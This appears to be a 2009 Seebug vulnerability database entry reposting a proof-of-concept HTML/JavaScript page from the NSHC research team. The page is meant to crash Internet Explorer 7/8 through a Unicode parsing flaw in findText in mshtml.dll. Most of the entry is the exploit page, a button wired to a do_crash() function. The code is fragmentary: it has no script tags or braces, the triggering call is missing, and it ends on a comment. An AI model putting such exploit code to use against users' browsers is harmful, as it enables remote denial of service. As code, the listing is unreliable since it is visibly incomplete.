MS Internet Explorer 7/8 findText Unicode Parsing Crash Exploit

ID SSV:11878
Type seebug
Reporter Root
Modified 2009-07-27T00:00:00


No description provided by source.

                                                <meta http-equiv="Context-Type" content="text/html; charset=US-ASCII">
Title: MS Internet Explorer findText Unicode Parsing error
Vulnerability (mshtml.dll) 
Bug discovered: Hong10 
PoC code: AmesianX & Hong10 
Critical: low 
Impact: MS Internet Explorer 7/8 Crash 
Where: From remote 
Tested Operating System: Windows XP SP3 FULL PATCHED (Korean Language) 

Solution: I don't know.. 

 The following bug was tested on the latest version of Internet 
Explorer 7/8. 

by research team NSHC
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "">
<html><head><title>IE findText crash</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"></head><body>
<input type="button" value="exploit" onclick="do_crash();">
Hit the button after ie7/8 crash..
function do_crash()
var o1=document.createElement("input");
o1.type="text";  //or password"powerhacker";
var r= o1.createTextRange();
//maybe string length allocated stack but over length allocated heap memory
//this code is no crash becase 3 parameter